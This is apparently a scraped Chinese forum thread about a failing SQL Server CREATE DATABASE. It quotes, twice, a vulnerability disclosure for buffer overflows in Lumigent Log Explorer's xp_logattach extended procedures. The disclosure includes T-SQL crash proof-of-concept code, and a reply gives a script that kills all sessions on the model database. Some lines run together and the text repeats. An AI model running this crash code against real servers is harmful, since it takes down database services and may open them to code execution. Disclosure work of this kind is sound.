--试试查询分析器中执行下面的语句看看能否建库 use master godeclare hcforeach cursor global for select 'kill '+rtrim(spid) from sysprocesses where dbid=db_id('model') exec sp_msforeach_worker '?' gocreate database aa
Lumigent Log Explorer is a transaction log explorer for Microsoft SQL Server 7/2000. It ships with extended stored procedures implemented in xp_logattach.dll. Some of them suffer from buffer overflows that lead to SQL Server service crash and potentially to arbitrary code execution. Below is sample code that crashes SQL Server:declare @bo varchar(8000) set @bo = replicate('A', 800) exec xp_logattach_StartProf @bo declare @bo varchar(8000) set @bo = replicate('A',800) exec xp_logattach_setport @bo declare @bo varchar(8000) set @bo = replicate('A',800) exec xp_logattach @bo Procedures can be run only by dbo (master) by default. Vendor was informed but I got no response confirming this problem and no fixes.CheersMartin Rakhmanoff (jimmers) jimmers yandex ru
use master
godeclare hcforeach cursor global for select 'kill '+rtrim(spid) from sysprocesses where dbid=db_id('model')
exec sp_msforeach_worker '?'
gocreate database aa
也没用。只有装上,怎么办,如果我不要log explorer,要怎么做2.邹老哥的那几条sql语句有些似懂非懂,只知道是用游标来杀掉那些spid为db_id('model')的进程,能具体讲解一下吗?
Server 7/2000. It ships with extended stored procedures implemented in
xp_logattach.dll. Some of them suffer from buffer overflows that lead to
SQL Server service crash and potentially to arbitrary code execution.
Below is sample code that crashes SQL Server:declare @bo varchar(8000)
set @bo = replicate('A', 800)
exec xp_logattach_StartProf @bo declare @bo varchar(8000)
set @bo = replicate('A',800)
exec xp_logattach_setport @bo declare @bo varchar(8000)
set @bo = replicate('A',800)
exec xp_logattach @bo Procedures can be run only by dbo (master) by default. Vendor was informed
but I got no response confirming this problem and no fixes.CheersMartin Rakhmanoff (jimmers)
jimmers yandex ru
你那语句是干吗呢???